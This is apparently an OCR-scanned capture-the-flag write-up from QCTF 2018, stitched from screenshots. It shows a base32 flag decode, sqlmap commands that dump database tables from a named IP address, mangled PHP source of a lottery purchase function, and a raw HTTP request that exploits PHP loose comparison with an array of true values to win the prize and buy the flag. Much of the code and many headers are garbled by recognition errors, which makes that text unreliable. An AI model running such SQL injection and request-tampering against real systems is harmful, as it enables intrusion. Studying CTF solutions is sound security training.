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KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZVETLFLSGGEYTTORSXET7I=

F pythonffibase32/# 15 15 2] ZQCTF{Pretty Sister Who_Buys_Me_Lobster}

rom basefd import *
print b32decode (" KFEVIRT3KBIGKSDUPFPYG 2L TORSKEX ZXNEX VEQTVPF IVGTLFLEGGEYTTORSKETI=")
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sqlmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql -D news —tables & finews% & &
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sqglmap -u "http://47.96.118.255:33066/"--data="search=the" --dbms mysql -D news -T secret_table —
columns Eifsecret_table® B W % i Biflag
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=+ [l Web Alerts (8) o e et lers! Acunetix Threat Level 3
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https://github.com/lijiejie/GitHack

function buy($req){
require registered();
require min_money(2);
$money - $ SESSION[ "money”T;

$numbers

$win numbers

$same count

($numbers[$i]
$same_count

$win_numbers[$i]){

($same_count) {

2:

$prize 53

$prize

3

$prize

$prize

3
1
J
$money $prize 718
$ SESSION[ ‘money ']

response([ "status”

$money ;

‘ok*, "numbers’->$numbers,

'win_numbers’

$win_numbers, ‘money’->$money, ‘prize'->$prize]);
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FPOST /fapi.php HTTP/L.1

Host: 47.96.118.255:8B888

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =64:
rviELl.0) Gecko/20100101 Firefox/6L.0

Jicecept: application/json, text/javascript, */*; g=0.01
|Accept-Language :

zh-CH, zh;q=0.8, zh-TW:;qg=0.7, sh-HE; g=0.5,en-U3; q=0.3,en:q
=0.2

jAccept-Encoding: gzip, deflate

JBeferer: http://47.9€.118.255:8888/buy.php
Content-Type: application/json

X-Fequested-With: XMLHttpRedquest

Content-Length: 100

Cookie: PHPSESSID=S71317ddehbhbS4e4f7e85%as4732le5aat
IConnection: close

{Maction": "buy", "nunbers": {"O0":icrue, "1"itrue, """ trus, "
IMitrues, "4"itrue, "S"itrus, "EMitrus, "I Lrus} }

L

HTTP/L.l 200 OKE

Date: Mon, le Jul 2018 05:14:10 GMT

Server: Apachs/2.4.25 (Debian)

¥-FPowered-By: PHP/7.2.7

Expires: Thu, 19 MNov 1981 08:5Z:00 GHMT
Cache-Control: no-store, no—cache, must-revalidate
Fragma: no-cache

Content-Length: 125

Connection: close

Content-Type: application/json

{"gtatus":"ok", "numbers": [trus, CErUuS, LEUS, LEUS, TEUS, LEUuS
strue, trus] , "win numbers':"3484534", "money": LOT7E03847, "
prize":5000000}%




197613847 Logout

Claim Your Prize

Here is your flag: QCTF{my_PhP_ski1l_is_weeak}

All items

Flag

$9990000

On Sale
buy the flag if you can
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